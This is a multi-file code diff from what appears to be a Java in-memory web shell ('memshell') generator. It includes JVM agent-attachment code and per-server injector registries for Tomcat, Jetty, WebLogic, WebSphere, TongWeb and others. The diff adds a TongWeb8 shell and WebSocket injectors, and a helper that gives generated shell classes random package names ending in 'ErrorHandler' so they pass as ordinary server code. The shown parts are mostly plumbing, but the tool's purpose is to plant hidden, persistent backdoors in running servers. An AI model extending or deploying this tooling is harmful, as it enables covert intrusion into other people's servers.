+                        throw new IllegalStateException("Cannot apply external attachment");
+                    }
+                }
+            }
+        }
+
+        /**
+         * An attachment provider that locates the attach API directly from the system class loader, as possible since
+         * introducing the Java module system via the {@code jdk.attach} module.
+         */
+        enum ForModularizedVm implements AttachmentProvider {
+
+            /**
+             * The singleton instance.
+             */
+            INSTANCE;
+
+            /**
+             * {@inheritDoc}
+             */
+            public Accessor attempt() {
+                return Accessor.Simple.of(ClassLoader.getSystemClassLoader());
+            }
+        }
+
+        /**
+         * An attachment provider that locates the attach API directly from the system class loader expecting
+         * an IBM J9 VM.
+         */
+        enum ForJ9Vm implements AttachmentProvider {
+
+            /**
+             * The singleton instance.
+             */
+            INSTANCE;
+
+            /**
+             * {@inheritDoc}
+             */
+            public Accessor attempt() {
+                return Accessor.Simple.ofJ9();
+            }
+        }
+
+        /**
+         * An attachment provider that is dependant on the existence of a <i>tools.jar</i> file on the local
+         * file system.
+         */
+        enum ForStandardToolsJarVm implements AttachmentProvider {
+
+            /**
+             * An attachment provider that locates the <i>tools.jar</i> from a Java home directory.
+             */
+            JVM_ROOT("../lib/tools.jar"),
+
+            /**
+             * An attachment provider that locates the <i>tools.jar</i> from a Java installation directory.
+             * In practice, several virtual machines do not return the JRE's location for the
+             * <i>java.home</i> property against the property's specification.
+             */
+            JDK_ROOT("lib/tools.jar"),
+
+            /**
+             * An attachment provider that locates the <i>tools.jar</i> as it is set for several JVM
+             * installations on Apple Macintosh computers.
+             */
+            MACINTOSH("../Classes/classes.jar");
+
+            /**
+             * The Java home system property.
+             */
+            private static final String JAVA_HOME_PROPERTY = "java.home";
+
+            /**
+             * The path to the <i>tools.jar</i> file, starting from the Java home directory.
+             */
+            private final String toolsJarPath;
+
+            /**
+             * Creates a new attachment provider that loads the virtual machine class from the <i>tools.jar</i>.
+             *
+             * @param toolsJarPath The path to the <i>tools.jar</i> file, starting from the Java home directory.
+             */
+            ForStandardToolsJarVm(String toolsJarPath) {
+                this.toolsJarPath = toolsJarPath;
+            }
+
+            /**
+             * {@inheritDoc}
+             */
+            public Accessor attempt() {
+                File toolsJar = new File(System.getProperty(JAVA_HOME_PROPERTY), toolsJarPath);
+                try {
+                    return toolsJar.isFile() && toolsJar.canRead()
+                            ? Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar)
+                            : Accessor.Unavailable.INSTANCE;
+                } catch (MalformedURLException exception) {
+                    throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
+                }
+            }
+        }
+
+        /**
+         * An attachment provider that attempts to locate a {@code tools.jar} from a custom location set via a system property.
+         */
+        enum ForUserDefinedToolsJar implements AttachmentProvider {
+
+            /**
+             * The singelton instance.
+             */
+            INSTANCE;
+
+            /**
+             * The property being read for locating {@code tools.jar}.
+             */
+            public static final String PROPERTY = "net.bytebuddy.agent.toolsjar";
+
+            /**
+             * {@inheritDoc}
+             */
+            public Accessor attempt() {
+                String location = System.getProperty(PROPERTY);
+                if (location == null) {
+                    return Accessor.Unavailable.INSTANCE;
+                } else {
+                    File toolsJar = new File(location);
+                    try {
+                        return Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar);
+                    } catch (MalformedURLException exception) {
+                        throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
+                    }
+                }
+            }
+        }
+
+        /**
+         * An attachment provider that uses Byte Buddy's attachment API emulation. To use this feature, JNA is required.
+         */
+        enum ForEmulatedAttachment implements AttachmentProvider {
+
+            /**
+             * The singleton instance.
+             */
+            INSTANCE;
+
+            /**
+             * {@inheritDoc}
+             */
+            public Accessor attempt() {
+                try {
+                    return new Accessor.Simple.WithDirectAttachment(VirtualMachine.Resolver.INSTANCE.get());
+                } catch (Throwable ignored) {
+                    return Accessor.Unavailable.INSTANCE;
+                }
+            }
+        }
+
+        /**
+         * A compound attachment provider that attempts the attachment by delegation to other providers. If
+         * none of the providers of this compound provider is capable of providing a valid accessor, an
+         * non-available accessor is returned.
+         */
+        class Compound implements AttachmentProvider {
+
+            /**
+             * A list of attachment providers in the order of their application.
+             */
+            private final List<AttachmentProvider> attachmentProviders;
+
+            /**
+             * Creates a new compound attachment provider.
+             *
+             * @param attachmentProvider A list of attachment providers in the order of their application.
+             */
+            public Compound(AttachmentProvider... attachmentProvider) {
+                this(Arrays.asList(attachmentProvider));
+            }
+
+            /**
+             * Creates a new compound attachment provider.
+             *
+             * @param attachmentProviders A list of attachment providers in the order of their application.
+             */
+            public Compound(List<? extends AttachmentProvider> attachmentProviders) {
+                this.attachmentProviders = new ArrayList<AttachmentProvider>();
+                for (AttachmentProvider attachmentProvider : attachmentProviders) {
+                    if (attachmentProvider instanceof Compound) {
+                        this.attachmentProviders.addAll(((Compound) attachmentProvider).attachmentProviders);
+                    } else {
+                        this.attachmentProviders.add(attachmentProvider);
+                    }
+                }
+            }
+
+            /**
+             * {@inheritDoc}
+             */
+            public Accessor attempt() {
+                for (AttachmentProvider attachmentProvider : attachmentProviders) {
+                    Accessor accessor = attachmentProvider.attempt();
+                    if (accessor.isAvailable()) {
+                        return accessor;
+                    }
+                }
+                return Accessor.Unavailable.INSTANCE;
+            }
+        }
+    }
+
+    /**
+     * A process provider is responsible for providing the process id of the current VM.
+     */
+    public interface ProcessProvider {
+
+        /**
+         * Resolves a process id for the current JVM.
+         *
+         * @return The resolved process id.
+         */
+        String resolve();
+
+        /**
+         * Supplies the current VM's process id.
+         */
+        enum ForCurrentVm implements ProcessProvider {
+
+            /**
+             * The singleton instance.
+             */
+            INSTANCE;
+
+            /**
+             * The best process provider for the current VM.
+             */
+            private final ProcessProvider dispatcher;
+
+            /**
+             * Creates a process provider that supplies the current VM's process id.
+             */
+            ForCurrentVm() {
+                dispatcher = ForJava9CapableVm.make();
+            }
+
+            /**
+             * {@inheritDoc}
+             */
+            public String resolve() {
+                return dispatcher.resolve();
+            }
+
+            /**
+             * A process provider for a legacy VM that reads the process id from its JMX properties. This strategy
+             * is only used prior to Java 9 such that the <i>java.management</i> module never is resolved, even if
+             * the module system is used, as the module system was not available in any relevant JVM version.
+             */
+            protected enum ForLegacyVm implements ProcessProvider {
+
+                /**
+                 * The singleton instance.
+                 */
+                INSTANCE;
+
+                /**
+                 * {@inheritDoc}
+                 */
+                public String resolve() {
+                    String runtimeName;
+                    try {
+                        Method method = Class.forName("java.lang.management.ManagementFactory").getMethod("getRuntimeMXBean");
+                        runtimeName = (String) method.getReturnType().getMethod("getName").invoke(method.invoke(null));
+                    } catch (Exception exception) {
+                        throw new IllegalStateException("Failed to access VM name via management factory", exception);
+                    }
+                    int processIdIndex = runtimeName.indexOf('@');
+                    if (processIdIndex == -1) {
+                        throw new IllegalStateException("Cannot extract process id from runtime management bean");
+                    } else {
+                        return runtimeName.substring(0, processIdIndex);
+                    }
+                }
+            }
+
+            /**
+             * A process provider for a Java 9 capable VM with access to the introduced process API.
+             */
+            protected static class ForJava9CapableVm implements ProcessProvider {
+
+                /**
+                 * The {@code java.lang.ProcessHandle#current()} method.
+                 */
+                private final Method current;
+
+                /**
+                 * The {@code java.lang.ProcessHandle#pid()} method.
+                 */
+                private final Method pid;
+
+                /**
+                 * Creates a new Java 9 capable dispatcher for reading the current process's id.
+                 *
+                 * @param current The {@code java.lang.ProcessHandle#current()} method.
+                 * @param pid     The {@code java.lang.ProcessHandle#pid()} method.
+                 */
+                protected ForJava9CapableVm(Method current, Method pid) {
+                    this.current = current;
+                    this.pid = pid;
+                }
+
+                /**
+                 * Attempts to create a dispatcher for a Java 9 VM and falls back to a legacy dispatcher
+                 * if this is not possible.
+                 *
+                 * @return A dispatcher for the current VM.
+                 */
+                public static ProcessProvider make() {
+                    try {
+                        return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
+                                Class.forName("java.lang.ProcessHandle").getMethod("pid"));
+                    } catch (Exception ignored) {
+                        return ForLegacyVm.INSTANCE;
+                    }
+                }
+
+                /**
+                 * {@inheritDoc}
+                 */
+                public String resolve() {
+                    try {
+                        return pid.invoke(current.invoke(null)).toString();
+                    } catch (IllegalAccessException exception) {
+                        throw new IllegalStateException("Cannot access Java 9 process API", exception);
+                    } catch (InvocationTargetException exception) {
+                        throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
+                    }
+                }
+            }
+        }
+    }
+
+    /**
+     * An agent provider is responsible for handling and providing the jar file of an agent that is being attached.
+     */
+    protected interface AgentProvider {
+
+        /**
+         * Provides an agent jar file for attachment.
+         *
+         * @return The provided agent.
+         * @throws IOException If the agent cannot be written to disk.
+         */
+        File resolve() throws IOException;
+
+        /**
+         * An agent provider that supplies an existing agent that is not deleted after attachment.
+         */
+        class ForExistingAgent implements AgentProvider {
+
+            /**
+             * The supplied agent.
+             */
+            private final File agent;
+
+            /**
+             * Creates an agent provider for an existing agent.
+             *
+             * @param agent The supplied agent.
+             */
+            protected ForExistingAgent(File agent) {
+                this.agent = agent;
+            }
+
+            /**
+             * {@inheritDoc}
+             */
+            public File resolve() {
+                return agent;
+            }
+        }
+    }
+
+    /**
+     * An attachment evaluator is responsible for deciding if an agent can be attached from the current process.
+     */
+    protected interface AttachmentTypeEvaluator {
+
+        /**
+         * Checks if the current VM requires external attachment for the supplied process id.
+         *
+         * @param processId The process id of the process to which to attach.
+         * @return {@code true} if the current VM requires external attachment for the supplied process.
+         */
+        boolean requiresExternalAttachment(String processId);
+
+        /**
+         * An installation action for creating an attachment type evaluator.
+         */
+        enum InstallationAction implements PrivilegedAction<AttachmentTypeEvaluator> {
+
+            /**
+             * The singleton instance.
+             */
+            INSTANCE;
+
+            /**
+             * The OpenJDK's property for specifying the legality of self-attachment.
+             */
+            private static final String JDK_ALLOW_SELF_ATTACH = "jdk.attach.allowAttachSelf";
+
+            /**
+             * {@inheritDoc}
+             */
+            public AttachmentTypeEvaluator run() {
+                try {
+                    if (Boolean.getBoolean(JDK_ALLOW_SELF_ATTACH)) {
+                        return Disabled.INSTANCE;
+                    } else {
+                        return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
+                                Class.forName("java.lang.ProcessHandle").getMethod("pid"));
+                    }
+                } catch (Exception ignored) {
+                    return Disabled.INSTANCE;
+                }
+            }
+        }
+
+        /**
+         * An attachment type evaluator that never requires external attachment.
+         */
+        enum Disabled implements AttachmentTypeEvaluator {
+
+            /**
+             * The singleton instance.
+             */
+            INSTANCE;
+
+            /**
+             * {@inheritDoc}
+             */
+            public boolean requiresExternalAttachment(String processId) {
+                return false;
+            }
+        }
+
+        /**
+         * An attachment type evaluator that checks a process id against the current process id.
+         */
+        class ForJava9CapableVm implements AttachmentTypeEvaluator {
+
+            /**
+             * The {@code java.lang.ProcessHandle#current()} method.
+             */
+            private final Method current;
+
+            /**
+             * The {@code java.lang.ProcessHandle#pid()} method.
+             */
+            private final Method pid;
+
+            /**
+             * Creates a new attachment type evaluator.
+             *
+             * @param current The {@code java.lang.ProcessHandle#current()} method.
+             * @param pid     The {@code java.lang.ProcessHandle#pid()} method.
+             */
+            protected ForJava9CapableVm(Method current, Method pid) {
+                this.current = current;
+                this.pid = pid;
+            }
+
+            /**
+             * {@inheritDoc}
+             */
+            public boolean requiresExternalAttachment(String processId) {
+                try {
+                    return pid.invoke(current.invoke(null)).toString().equals(processId);
+                } catch (IllegalAccessException exception) {
+                    throw new IllegalStateException("Cannot access Java 9 process API", exception);
+                } catch (InvocationTargetException exception) {
+                    throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
+                }
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringIOUtilsGzipPacker.java

@@ -4,7 +4,10 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
 import com.reajason.javaweb.memshell.utils.CommonUtil;
 import lombok.SneakyThrows;
-import java.util.Base64;;
+
+import java.util.Base64;
+
+
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java

@@ -1,5 +1,6 @@
 package com.reajason.javaweb.memshell.server;
 
+import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterChainAgentInjector;
 import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterInjector;
 import com.reajason.javaweb.memshell.injector.apusic.ApusicListenerInjector;
 import com.reajason.javaweb.memshell.injector.apusic.ApusicServletInjector;
@@ -18,7 +19,7 @@ public class ApusicShell extends AbstractShell {
     public static class ListenerInterceptor {
         @Advice.OnMethodExit
         public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
-            response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "parameters"), "response");
+            response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "http"), "response");
         }
     }
 
@@ -33,6 +34,7 @@ public class ApusicShell extends AbstractShell {
                 .addInjector(LISTENER, ApusicListenerInjector.class)
                 .addInjector(FILTER, ApusicFilterInjector.class)
                 .addInjector(SERVLET, ApusicServletInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN, ApusicFilterChainAgentInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java

@@ -22,8 +22,7 @@ public class BesShell extends AbstractShell {
                 .addInjector(FILTER, BesFilterInjector.class)
                 .addInjector(VALVE, BesValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
-                .addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
-                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, BesContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java

@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -51,9 +49,7 @@ public class GlassFishShell extends AbstractShell {
                 .addInjector(VALVE, GlassFishValveInjector.class)
                 .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
-                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
-                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java

@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjecto
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
 import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
 
@@ -31,9 +29,7 @@ public class InforSuiteShell extends AbstractShell {
                 .addInjector(VALVE, GlassFishValveInjector.class)
                 .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
-                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
-                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java

@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
 import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
 import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
 
@@ -28,9 +26,7 @@ public class JbossShell extends AbstractShell {
                 .addInjector(FILTER, JbossFilterInjector.class)
                 .addInjector(VALVE, JbossValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
-                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
-                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java

@@ -1,6 +1,9 @@
 package com.reajason.javaweb.memshell.server;
 
-import com.reajason.javaweb.memshell.injector.jetty.*;
+import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector;
+import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
+import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
+import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -20,7 +23,11 @@ public class JettyShell extends AbstractShell {
             try {
                 response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response");
             } catch (Exception e) {
-                response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connection"), "_response");
+                try {
+                    response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connection"), "_response");
+                } catch (Exception ex) {
+                    response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_servletChannel"), "_response"), "_servletApiResponse");
+                }
             }
         }
     }
@@ -40,7 +47,6 @@ public class JettyShell extends AbstractShell {
                 .addInjector(SERVLET, JettyServletInjector.class)
                 .addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
                 .addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
-                .addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java

@@ -1,6 +1,9 @@
 package com.reajason.javaweb.memshell.server;
 
-import com.reajason.javaweb.memshell.injector.resin.*;
+import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector;
+import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector;
+import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -32,7 +35,6 @@ public class ResinShell extends AbstractShell {
                 .addInjector(FILTER, ResinFilterInjector.class)
                 .addInjector(SERVLET, ResinServletInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
-                .addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java

@@ -41,6 +41,10 @@ public class ServerToolRegistry {
                     shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, shellClass);
                 }
 
+                if (isValve && shell instanceof TongWeb8Shell) {
+                    shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB8_VALVE_PACKAGE, shellClass);
+                }
+
                 if (isValve && shell instanceof BesShell) {
                     shellClass = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, shellClass);
                 }

generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java

@@ -2,7 +2,6 @@ package com.reajason.javaweb.memshell.server;
 
 import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
 import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
-import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
@@ -21,7 +20,6 @@ public class SpringWebMvcShell extends AbstractShell {
                 .addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
                 .addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
                 .addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
-                .addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, SpringWebMvcFrameworkServletAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java

@@ -42,10 +42,9 @@ public class TomcatShell extends AbstractShell {
                 .addInjector(SERVLET, TomcatServletInjector.class)
                 .addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
-                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
-                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
                 .addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
+                .addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java

@@ -25,9 +25,7 @@ public class TongWeb6Shell extends AbstractShell {
                 .addInjector(VALVE, TongWebValveInjector.class)
                 .addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
-                .addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
-                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java

@@ -25,9 +25,7 @@ public class TongWeb7Shell extends AbstractShell {
                 .addInjector(VALVE, TongWebValveInjector.class)
                 .addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
-                .addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
-                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb8Shell.java

@@ -0,0 +1,31 @@
+package com.reajason.javaweb.memshell.server;
+
+import com.reajason.javaweb.memshell.injector.tongweb.*;
+
+import static com.reajason.javaweb.memshell.ShellType.*;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/27
+ */
+public class TongWeb8Shell extends AbstractShell {
+
+    @Override
+    public Class<?> getListenerInterceptor() {
+        return TomcatShell.ListenerInterceptor.class;
+    }
+
+    @Override
+    public InjectorMapping getShellInjectorMapping() {
+        return InjectorMapping.builder()
+                .addInjector(LISTENER, TongWebListenerInjector.class)
+                .addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
+                .addInjector(FILTER, TongWebFilterInjector.class)
+                .addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
+                .addInjector(VALVE, TongWebValveInjector.class)
+                .addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
+                .build();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java

@@ -1,6 +1,9 @@
 package com.reajason.javaweb.memshell.server;
 
-import com.reajason.javaweb.memshell.injector.undertow.*;
+import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector;
+import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector;
+import com.reajason.javaweb.memshell.injector.undertow.UndertowServletHandlerAgentInjector;
+import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -44,8 +47,7 @@ public class UndertowShell extends AbstractShell {
                 .addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
                 .addInjector(SERVLET, UndertowServletInjector.class)
                 .addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
-                .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
+                .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletHandlerAgentInjector.class)
-                .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java

@@ -1,6 +1,9 @@
 package com.reajason.javaweb.memshell.server;
 
-import com.reajason.javaweb.memshell.injector.weblogic.*;
+import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
+import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
+import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
+import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
 
@@ -22,7 +25,6 @@ public class WebLogicShell extends AbstractShell {
                 .addInjector(FILTER, WebLogicFilterInjector.class)
                 .addInjector(SERVLET, WebLogicServletInjector.class)
                 .addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
-                .addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java

@@ -1,6 +1,9 @@
 package com.reajason.javaweb.memshell.server;
 
-import com.reajason.javaweb.memshell.injector.websphere.*;
+import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterInjector;
+import com.reajason.javaweb.memshell.injector.websphere.WebSphereListenerInjector;
+import com.reajason.javaweb.memshell.injector.websphere.WebSphereServletInjector;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -33,7 +36,6 @@ public class WebSphereShell extends AbstractShell {
                 .addInjector(FILTER, WebSphereFilterInjector.class)
                 .addInjector(SERVLET, WebSphereServletInjector.class)
                 .addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
-                .addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java

@@ -91,6 +91,10 @@ public class CommonUtil {
         return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
     }
 
+    public static String getPackageName(String className) {
+        return className.substring(0, className.lastIndexOf("."));
+    }
+
     public static String generateShellClassName() {
         return getRandomPackageName() + ".ErrorHandler";
     }

generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java

@@ -1,5 +1,7 @@
 package com.reajason.javaweb.memshell.utils;
 
